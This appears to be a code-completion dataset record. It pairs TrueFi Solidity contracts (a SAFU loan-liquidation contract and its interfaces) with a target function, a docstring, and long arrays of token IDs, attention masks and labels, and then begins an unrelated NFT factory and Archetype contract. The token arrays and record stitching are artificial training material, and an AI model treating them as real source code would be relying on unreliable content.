{ILoanToken2} from "ILoanToken2.sol"; interface ISAFU { function poolDeficit(address pool) external view returns (uint256); function deficiencyToken(ILoanToken2 loan) external view returns (IDeficiencyToken); function reclaim(ILoanToken2 loan, uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {ERC20, IERC20} from "UpgradeableERC20.sol"; import {ITrueLender2, ILoanToken2} from "ITrueLender2.sol"; import {ITrueFiPoolOracle} from "ITrueFiPoolOracle.sol"; import {I1Inch3} from "I1Inch3.sol"; import {ISAFU} from "ISAFU.sol"; interface ITrueFiPool2 is IERC20 { function initialize( ERC20 _token, ITrueLender2 _lender, ISAFU safu, address __owner ) external; function singleBorrowerInitialize( ERC20 _token, ITrueLender2 _lender, ISAFU safu, address __owner, string memory borrowerName, string memory borrowerSymbol ) external; function token() external view returns (ERC20); function oracle() external view returns (ITrueFiPoolOracle); function poolValue() external view returns (uint256); /** * @dev Ratio of liquid assets in the pool after lending * @param afterAmountLent Amount of asset being lent */ function liquidRatio(uint256 afterAmountLent) external view returns (uint256); /** * @dev Join the pool by depositing tokens * @param amount amount of tokens to deposit */ function join(uint256 amount) external; /** * @dev borrow from pool * 1. Transfer TUSD to sender * 2. Only lending pool should be allowed to call this */ function borrow(uint256 amount) external; /** * @dev pay borrowed money back to pool * 1. Transfer TUSD from sender * 2. Only lending pool should be allowed to call this */ function repay(uint256 currencyAmount) external; /** * @dev SAFU buys LoanTokens from the pool */ function liquidate(ILoanToken2 loan) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20} from "IERC20.sol"; import {ERC20} from "UpgradeableERC20.sol"; import {ITrueFiPool2} from "ITrueFiPool2.sol"; interface ILoanToken2 is IERC20 { enum Status {Awaiting, Funded, Withdrawn, Settled, Defaulted, Liquidated} function borrower() external view returns (address); function amount() external view returns (uint256); function term() external view returns (uint256); function apy() external view returns (uint256); function start() external view returns (uint256); function lender() external view returns (address); function debt() external view returns (uint256); function pool() external view returns (ITrueFiPool2); function profit() external view returns (uint256); function status() external view returns (Status); function getParameters() external view returns ( uint256, uint256, uint256 ); function fund() external; function withdraw(address _beneficiary) external; function settle() external; function enterDefault() external; function liquidate() external; function redeem(uint256 _amount) external; function repay(address _sender, uint256 _amount) external; function repayInFull(address _sender) external; function reclaim() external; function allowTransfer(address account, bool _status) external; function repaid() external view returns (uint256); function isRepaid() external view returns (bool); function balance() external view returns (uint256); function value(uint256 _balance) external view returns (uint256); function token() external view returns (ERC20); function version() external pure returns (uint8); } //interface IContractWithPool { // function pool() external view returns (ITrueFiPool2); //} // //// Had to be split because of multiple inheritance problem //interface ILoanToken2 is ILoanToken, IContractWithPool { // //} // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20} from "IERC20.sol"; import {SafeMath} from "SafeMath.sol"; import {SafeERC20} from "SafeERC20.sol"; import {ERC20} from "UpgradeableERC20.sol"; import {ILoanToken2} from "ILoanToken2.sol"; import {IDeficiencyToken} from "IDeficiencyToken.sol"; /** * */ contract DeficiencyToken is IDeficiencyToken, ERC20 { using SafeMath for uint256; using SafeERC20 for ERC20; ILoanToken2 public override loan; /** * @dev Create Deficiency * @param _loan Defaulted loans address * @param _amount Amount of underlying pool token's that are owed to the pool */ constructor(ILoanToken2 _loan, uint256 _amount) public { ERC20.__ERC20_initialize("TrueFi Deficiency Token", "DEF"); loan = _loan; _mint(address(_loan.pool()), _amount); } function burnFrom(address account, uint256 amount) external override { _approve( account, _msgSender(), allowance(account, _msgSender()).sub(amount, "DeficiencyToken: Burn amount exceeds allowance") ); _burn(account, amount); } function version() external override pure returns (uint8) { return 0; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {Context} from "Context.sol"; import {Initializable} from "Initializable.sol"; /** * @title UpgradeableClaimable * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. Since * this contract combines Claimable and UpgradableOwnable contracts, ownership * can be later change via 2 step method {transferOwnership} and {claimOwnership} * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract UpgradeableClaimable is Initializable, Context { address private _owner; address private _pendingOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting a custom initial owner of choice. * @param __owner Initial owner of contract to be set. */ function initialize(address __owner) internal initializer { _owner = __owner; emit OwnershipTransferred(address(0), __owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Returns the address of the pending owner. */ function pendingOwner() public view returns (address) { return _pendingOwner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == _pendingOwner, "Ownable: caller is not the pending owner"); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() public onlyPendingOwner { emit OwnershipTransferred(_owner, _pendingOwner); _owner = _pendingOwner; _pendingOwner = address(0); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {ITrueFiPool2} from "ITrueFiPool2.sol"; interface ILoanFactory2 { function createLoanToken( ITrueFiPool2 _pool, uint256 _amount, uint256 _term ) external; function isLoanToken(address) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {ILoanToken2} from "ILoanToken2.sol"; interface ILiquidator2 { function liquidate(ILoanToken2 loan) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import {SafeMath} from "SafeMath.sol"; import {I1Inch3} from "I1Inch3.sol"; import {IERC20} from "IERC20.sol"; import {SafeERC20} from "SafeERC20.sol"; interface IUniRouter { function token0() external view returns (address); function token1() external view returns (address); } library OneInchExchange { using SafeERC20 for IERC20; using SafeMath for uint256; uint256 constant ADDRESS_MASK = 0x000000000000000000000000ffffffffffffffffffffffffffffffffffffffff; uint256 constant REVERSE_MASK = 0x8000000000000000000000000000000000000000000000000000000000000000; event Swapped(I1Inch3.SwapDescription description, uint256 returnedAmount); /** * @dev Forward data to 1Inch contract * @param _1inchExchange address of 1Inch (currently 0x11111112542d85b3ef69ae05771c2dccff4faa26 for mainnet) * @param data Data that is forwarded into the 1inch exchange contract. Can be acquired from 1Inch API https://api.1inch.exchange/v3.0/1/swap * [See more](https://docs.1inch.exchange/api/quote-swap#swap) * * @return description - description of the swap */ function exchange(I1Inch3 _1inchExchange, bytes calldata data) internal returns (I1Inch3.SwapDescription memory description, uint256 returnedAmount) { if (data[0] == 0x7c) { // call `swap()` (, description, ) = abi.decode(data[4:], (address, I1Inch3.SwapDescription, bytes)); } else { // call `unoswap()` (address srcToken, uint256 amount, uint256 minReturn, bytes32[] memory pathData) = abi.decode( data[4:], (address, uint256, uint256, bytes32[]) ); description.srcToken = srcToken; description.amount = amount; description.minReturnAmount = minReturn; description.flags = 0; uint256 lastPath = uint256(pathData[pathData.length - 1]); IUniRouter uniRouter = IUniRouter(address(lastPath & ADDRESS_MASK)); bool isReverse = lastPath & REVERSE_MASK > 0; description.dstToken = isReverse ? uniRouter.token0() : uniRouter.token1(); description.dstReceiver = address(this); } IERC20(description.srcToken).safeApprove(address(_1inchExchange), description.amount); uint256 balanceBefore = IERC20(description.dstToken).balanceOf(description.dstReceiver); // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(_1inchExchange).call(data); if (!success) { // Revert with original error message assembly { let ptr := mload(0x40) let size := returndatasize() returndatacopy(ptr, 0, size) revert(ptr, size) } } uint256 balanceAfter = IERC20(description.dstToken).balanceOf(description.dstReceiver); returnedAmount = balanceAfter.sub(balanceBefore); emit Swapped(description, returnedAmount); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import {SafeMath} from "SafeMath.sol"; import {SafeERC20} from "SafeERC20.sol"; import {IERC20} from "IERC20.sol"; import {ERC20} from "UpgradeableERC20.sol"; import {DeficiencyToken} from "DeficiencyToken.sol"; import {IDeficiencyToken} from "IDeficiencyToken.sol"; import {UpgradeableClaimable} from "UpgradeableClaimable.sol"; import {ILoanToken2} from "ILoanToken2.sol"; import {ITrueFiPool2} from "ITrueFiPool2.sol"; import {ILoanFactory2} from "ILoanFactory2.sol"; import {ILiquidator2} from "ILiquidator2.sol"; import {I1Inch3} from "I1Inch3.sol"; import {OneInchExchange} from "OneInchExchange.sol"; import {ISAFU} from "ISAFU.sol"; contract SAFU is ISAFU, UpgradeableClaimable { using SafeMath for uint256; using SafeERC20 for IERC20; using SafeERC20 for IDeficiencyToken; using SafeERC20 for ERC20; using OneInchExchange for I1Inch3; // ================ WARNING ================== // ===== THIS CONTRACT IS INITIALIZABLE ====== // === STORAGE VARIABLES ARE DECLARED BELOW == // REMOVAL OR REORDER OF VARIABLES WILL RESULT // ========= IN STORAGE CORRUPTION =========== ILoanFactory2 public loanFactory; ILiquidator2 public liquidator; I1Inch3 public _1Inch; mapping(ILoanToken2 => IDeficiencyToken) public override deficiencyToken; mapping(address => uint256) public override poolDeficit; // ======= STORAGE DECLARATION END ============ /** * @dev Emitted when a loan is redeemed * @param loan Loan that has been liquidated * @param burnedAmount Amount of loan tokens that were burned * @param redeemedAmount Amount of tokens that were received */ event Redeemed(ILoanToken2 loan, uint256 burnedAmount, uint256 redeemedAmount); /** * @dev Emitted when a loan gets liquidated * @param loan Loan that has been liquidated * @param repaid Amount repaid to the pool * @param deficiencyToken Deficiency token representing a deficit that is owed to the pool by SAFU * @param deficit Deficit amount that SAFU still owes the pool */ event Liquidated(ILoanToken2 loan, uint256 repaid, IDeficiencyToken deficiencyToken, uint256 deficit); /** * @dev Emitted when a loan deficit is reclaimed * @param loan Defaulted loan, which deficit was reclaimed * @param reclaimed Amount reclaimed by the pool */ event Reclaimed(ILoanToken2 loan, uint256 reclaimed); /** * @dev Emitted when SAFU swaps assets */ event Swapped(uint256 amount, address srcToken, uint256 returnAmount, address dstToken); function initialize( ILoanFactory2 _loanFactory, ILiquidator2 _liquidator, I1Inch3 __1Inch ) public initializer { UpgradeableClaimable.initialize(msg.sender); loanFactory = _loanFactory; liquidator = _liquidator; _1Inch = __1Inch; } /** * @dev Liquidates a defaulted Loan, withdraws a portion of tru from staking pool * then tries to cover the loan with own funds, to compensate TrueFiPool * If SAFU does not have enough funds, deficit is saved to be redeemed later * @param loan Loan to be liquidated */ function liquidate(ILoanToken2 loan) external { require(loanFactory.isLoanToken(address(loan)), "SAFU: Unknown loan"); require(loan.status() == ILoanToken2.Status.Defaulted, "SAFU: Loan is not defaulted"); ITrueFiPool2 pool = ITrueFiPool2(loan.pool()); IERC20 token = IERC20(pool.token()); liquidator.liquidate(loan); pool.liquidate(loan); uint256 owedToPool = loan.debt().mul(tokenBalance(loan)).div(loan.totalSupply()); uint256 safuTokenBalance = tokenBalance(token); uint256 deficit = 0; uint256 toTransfer = owedToPool; if (owedToPool > safuTokenBalance) { deficit = owedToPool.sub(safuTokenBalance); toTransfer = safuTokenBalance; deficiencyToken[loan] = new DeficiencyToken(loan, deficit); poolDeficit[address(loan.pool())] = poolDeficit[address(loan.pool())].add(deficit); } token.safeTransfer(address(pool), toTransfer); emit Liquidated(loan, toTransfer, deficiencyToken[loan], deficit); } /** * @dev Returns SAFU's balance of a specific token * @param token A token which balance is to be returned */ function tokenBalance(IERC20 token) public view returns (uint256) { return token.balanceOf(address(this)); } /** * @dev Redeems a loan for underlying repaid debt * @param loan Loan token to be redeemed */ function redeem(ILoanToken2 loan) public onlyOwner { require(loanFactory.isLoanToken(address(loan)), "SAFU: Unknown loan"); uint256 amountToBurn = tokenBalance(loan); uint256 balanceBeforeRedeem = tokenBalance(loan.token()); loan.redeem(amountToBurn); uint256 redeemedAmount = tokenBalance(loan.token()).sub(balanceBeforeRedeem); emit Redeemed(loan, amountToBurn, redeemedAmount); } /** * @dev Reclaims deficit funds, after a loan is repaid and transfers them to the pool * @param loan Loan with a deficit to be reclaimed * @param amount Amount of deficiency tokens to be reclaimed */ function reclaim(ILoanToken2 loan, uint256 amount) external override { require(loanFactory.isLoanToken(address(loan)), "SAFU: Unknown loan"); address poolAddress = address(loan.pool()); require(msg.sender == poolAddress, "SAFU: caller is not the loan's pool"); require(tokenBalance(loan) == 0, "SAFU: Loan has to be fully redeemed by SAFU"); IDeficiencyToken dToken = deficiencyToken[loan]; require(address(dToken) != address(0), "SAFU: No deficiency token found for loan"); require(dToken.balanceOf(poolAddress) > 0, "SAFU: Pool does not have deficiency tokens to be reclaimed"); poolDeficit[poolAddress] = poolDeficit[poolAddress].sub(amount); dToken.burnFrom(msg.sender, amount); loan.token().safeTransfer(poolAddress, amount); emit Reclaimed(loan, amount); } /** * @dev Swap any asset owned by SAFU to any other asset, using 1inch protocol */ function swap(bytes calldata data, uint256 minReturnAmount) external onlyOwner { (I1Inch3.SwapDescription memory swapResult, uint256 returnAmount) = _1Inch.exchange(data); require(swapResult.dstReceiver == address(this), "SAFU: Receiver is not SAFU"); require(returnAmount >= minReturnAmount, "SAFU: Not enough tokens returned from swap"); emit Swapped(swapResult.amount, swapResult.srcToken, returnAmount, swapResult.dstToken); } }
* @dev Emitted when a loan is redeemed @param loan Loan that has been liquidated @param burnedAmount Amount of loan tokens that were burned @param redeemedAmount Amount of tokens that were received/* @dev Emitted when a loan gets liquidated @param loan Loan that has been liquidated @param repaid Amount repaid to the pool @param deficiencyToken Deficiency token representing a deficit that is owed to the pool by SAFU @param deficit Deficit amount that SAFU still owes the pool/* @dev Emitted when a loan deficit is reclaimed @param loan Defaulted loan, which deficit was reclaimed @param reclaimed Amount reclaimed by the pool/* @dev Emitted when SAFU swaps assets/
) public initializer { UpgradeableClaimable.initialize(msg.sender); loanFactory = _loanFactory; liquidator = _liquidator; _1Inch = __1Inch; }
6,218,872
[ 1, 1514, 11541, 1347, 279, 28183, 353, 283, 24903, 329, 225, 28183, 3176, 304, 716, 711, 2118, 4501, 26595, 690, 225, 18305, 329, 6275, 16811, 434, 28183, 2430, 716, 4591, 18305, 329, 225, 283, 24903, 329, 6275, 16811, 434, 2430, 716, 4591, 5079, 19, 225, 512, 7948, 1347, 279, 28183, 5571, 4501, 26595, 690, 225, 28183, 3176, 304, 716, 711, 2118, 4501, 26595, 690, 225, 2071, 20736, 16811, 2071, 20736, 358, 326, 2845, 225, 1652, 14463, 2075, 1345, 10922, 14463, 2075, 1147, 5123, 279, 1652, 335, 305, 716, 353, 2523, 329, 358, 326, 2845, 635, 348, 6799, 57, 225, 1652, 335, 305, 10922, 335, 305, 3844, 716, 348, 6799, 57, 4859, 2523, 281, 326, 2845, 19, 225, 512, 7948, 1347, 279, 28183, 1652, 335, 305, 353, 283, 14784, 329, 225, 28183, 2989, 329, 28183, 16, 1492, 1652, 335, 305, 1703, 283, 14784, 329, 225, 283, 14784, 329, 16811, 283, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 262, 1071, 12562, 288, 203, 3639, 17699, 429, 9762, 429, 18, 11160, 12, 3576, 18, 15330, 1769, 203, 3639, 28183, 1733, 273, 389, 383, 304, 1733, 31, 203, 3639, 4501, 26595, 639, 273, 389, 549, 26595, 639, 31, 203, 3639, 389, 21, 382, 343, 273, 1001, 21, 382, 343, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: BUSL-1.1 // // 8888888888 888 // 888 888 // 888 888 // 8888888 8888b. .d8888b 888888 .d88b. 888d888 888 888 // 888 "88b d88P" 888 d88""88b 888P" 888 888 // 888 .d888888 888 888 888 888 888 888 888 // 888 888 888 Y88b. Y88b. Y88..88P 888 Y88b 888 // 888 "Y888888 "Y8888P "Y888 "Y88P" 888 "Y88888 // 888 // Y8b d88P // "Y88P" pragma solidity ^0.8.4; import "@openzeppelin/contracts-upgradeable/proxy/ClonesUpgradeable.sol"; import "./Archetype.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; contract Factory is OwnableUpgradeable { event CollectionAdded(address indexed sender, address indexed receiver, address collection); address public archetype; function initialize(address archetype_) public initializer { archetype = archetype_; __Ownable_init(); } /// @notice config is a struct in the shape of {string placeholder; string base; uint64 supply; bool permanent;} function createCollection( address _receiver, string memory name, string memory symbol, Archetype.Config calldata config ) external payable returns (address) { address clone = ClonesUpgradeable.clone(archetype); Archetype token = Archetype(clone); token.initialize(name, symbol, config); token.transferOwnership(_receiver); if (msg.value > 0) { (bool sent, ) = payable(_receiver).call{ value: msg.value }(""); require(sent, "1"); } emit CollectionAdded(_msgSender(), _receiver, clone); return clone; } function setArchetype(address archetype_) public onlyOwner { archetype = archetype_; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Clones.sol) pragma solidity ^0.8.0; /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * * _Available since v3.4._ */ library ClonesUpgradeable { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create opcode, which should never revert. */ function clone(address implementation) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `implementation` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress( address implementation, bytes32 salt, address deployer ) internal pure returns (address predicted) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address implementation, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(implementation, salt, address(this)); } } // SPDX-License-Identifier: MIT // Archetype v0.2.0 // // d8888 888 888 // d88888 888 888 // d88P888 888 888 // d88P 888 888d888 .d8888b 88888b. .d88b. 888888 888 888 88888b. .d88b. // d88P 888 888P" d88P" 888 "88b d8P Y8b 888 888 888 888 "88b d8P Y8b // d88P 888 888 888 888 888 88888888 888 888 888 888 888 88888888 // d8888888888 888 Y88b. 888 888 Y8b. Y88b. Y88b 888 888 d88P Y8b. // d88P 888 888 "Y8888P 888 888 "Y8888 "Y888 "Y88888 88888P" "Y8888 // 888 888 // Y8b d88P 888 // "Y88P" 888 pragma solidity ^0.8.4; import "./ERC721A-Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; error InvalidConfig(); error MintNotYetStarted(); error WalletUnauthorizedToMint(); error InsufficientEthSent(); error ExcessiveEthSent(); error MaxSupplyExceeded(); error NumberOfMintsExceeded(); error MintingPaused(); error InvalidReferral(); error InvalidSignature(); error BalanceEmpty(); error TransferFailed(); error MaxBatchSizeExceeded(); error WrongPassword(); error LockedForever(); contract Archetype is Initializable, ERC721AUpgradeable, OwnableUpgradeable { // // EVENTS // event Invited(bytes32 indexed key, bytes32 indexed cid); event Referral(address indexed affiliate, uint128 wad); event Withdrawal(address indexed src, uint128 wad); // // STRUCTS // struct Auth { bytes32 key; bytes32[] proof; } struct Config { string unrevealedUri; string baseUri; address affiliateSigner; uint32 maxSupply; uint32 maxBatchSize; uint32 affiliateFee; uint32 platformFee; } struct Invite { uint128 price; uint64 start; uint64 limit; } struct Invitelist { bytes32 key; bytes32 cid; Invite invite; } struct OwnerBalance { uint128 owner; uint128 platform; } // // VARIABLES // mapping(bytes32 => Invite) public invites; mapping(address => mapping(bytes32 => uint256)) private minted; mapping(address => uint128) public affiliateBalance; address private constant PLATFORM = 0x86B82972282Dd22348374bC63fd21620F7ED847B; // address private constant PLATFORM = 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC; // TEST (account[2]) bool public revealed; bool public uriUnlocked; string public provenance; bool public provenanceHashUnlocked; OwnerBalance public ownerBalance; Config public config; // // METHODS // function initialize( string memory name, string memory symbol, Config calldata config_ ) external initializer { __ERC721A_init(name, symbol); // affiliateFee max is 50%, platformFee min is 5% and max is 50% if (config_.affiliateFee > 5000 || config_.platformFee > 5000 || config_.platformFee < 500) { revert InvalidConfig(); } config = config_; __Ownable_init(); revealed = false; uriUnlocked = true; provenanceHashUnlocked = true; } function mint( Auth calldata auth, uint256 quantity, address affiliate, bytes calldata signature ) external payable { Invite memory i = invites[auth.key]; if (affiliate != address(0)) { if (affiliate == PLATFORM || affiliate == owner() || affiliate == msg.sender) { revert InvalidReferral(); } validateAffiliate(affiliate, signature, config.affiliateSigner); } if (i.limit == 0) { revert MintingPaused(); } if (!verify(auth, _msgSender())) { revert WalletUnauthorizedToMint(); } if (block.timestamp < i.start) { revert MintNotYetStarted(); } if (i.limit < config.maxSupply) { uint256 totalAfterMint = minted[_msgSender()][auth.key] + quantity; if (totalAfterMint > i.limit) { revert NumberOfMintsExceeded(); } } if (quantity > config.maxBatchSize) { revert MaxBatchSizeExceeded(); } if ((_currentIndex + quantity) > config.maxSupply) { revert MaxSupplyExceeded(); } uint256 cost = i.price * quantity; if (msg.value < cost) { revert InsufficientEthSent(); } if (msg.value > cost) { revert ExcessiveEthSent(); } _safeMint(msg.sender, quantity); if (i.limit < config.maxSupply) { minted[_msgSender()][auth.key] += quantity; } uint128 value = uint128(msg.value); uint128 affiliateWad = 0; if (affiliate != address(0)) { affiliateWad = (value * config.affiliateFee) / 10000; affiliateBalance[affiliate] += affiliateWad; emit Referral(affiliate, affiliateWad); } OwnerBalance memory balance = ownerBalance; uint128 platformWad = (value * config.platformFee) / 10000; uint128 ownerWad = value - affiliateWad - platformWad; ownerBalance = OwnerBalance({ owner: balance.owner + ownerWad, platform: balance.platform + platformWad }); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); if (revealed == false) { return string(abi.encodePacked(config.unrevealedUri, Strings.toString(tokenId))); } return bytes(config.baseUri).length != 0 ? string(abi.encodePacked(config.baseUri, Strings.toString(tokenId))) : ""; } function reveal() public onlyOwner { revealed = true; } function _startTokenId() internal view virtual override returns (uint256) { return 1; } /// @notice the password is "forever" function lockURI(string memory password) public onlyOwner { if (keccak256(abi.encodePacked(password)) != keccak256(abi.encodePacked("forever"))) { revert WrongPassword(); } uriUnlocked = false; } function setUnrevealedURI(string memory _unrevealedURI) public onlyOwner { config.unrevealedUri = _unrevealedURI; } function setBaseURI(string memory baseUri_) public onlyOwner { if (!uriUnlocked) { revert LockedForever(); } config.baseUri = baseUri_; } /// @notice Set BAYC-style provenance once it's calculated function setProvenanceHash(string memory provenanceHash) public onlyOwner { if (!provenanceHashUnlocked) { revert LockedForever(); } provenance = provenanceHash; } /// @notice the password is "forever" function lockProvenanceHash(string memory password) public onlyOwner { if (keccak256(abi.encodePacked(password)) != keccak256(abi.encodePacked("forever"))) { revert WrongPassword(); } provenanceHashUnlocked = false; } function withdraw() public { uint128 wad = 0; if (msg.sender == owner() || msg.sender == PLATFORM) { OwnerBalance memory balance = ownerBalance; if (msg.sender == owner()) { wad = balance.owner; ownerBalance = OwnerBalance({ owner: 0, platform: balance.platform }); } else { wad = balance.platform; ownerBalance = OwnerBalance({ owner: balance.owner, platform: 0 }); } } else { wad = affiliateBalance[msg.sender]; affiliateBalance[msg.sender] = 0; } if (wad == 0) { revert BalanceEmpty(); } (bool success, ) = msg.sender.call{ value: wad }(""); if (!success) { revert TransferFailed(); } emit Withdrawal(msg.sender, wad); } function setInvites(Invitelist[] calldata invitelist) external onlyOwner { for (uint256 i = 0; i < invitelist.length; i++) { Invitelist calldata list = invitelist[i]; invites[list.key] = list.invite; emit Invited(list.key, list.cid); } } function setInvite( bytes32 _key, bytes32 _cid, Invite calldata _invite ) external onlyOwner { invites[_key] = _invite; emit Invited(_key, _cid); } // based on: https://github.com/miguelmota/merkletreejs-solidity/blob/master/contracts/MerkleProof.sol function verify(Auth calldata auth, address account) internal pure returns (bool) { if (auth.key == "") return true; bytes32 computedHash = keccak256(abi.encodePacked(account)); for (uint256 i = 0; i < auth.proof.length; i++) { bytes32 proofElement = auth.proof[i]; if (computedHash <= proofElement) { computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash == auth.key; } function validateAffiliate( address affiliate, bytes memory signature, address affiliateSigner ) internal pure { bytes32 signedMessagehash = ECDSA.toEthSignedMessageHash( keccak256(abi.encodePacked(affiliate)) ); address signer = ECDSA.recover(signedMessagehash, signature); if (signer != affiliateSigner) { revert InvalidSignature(); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. 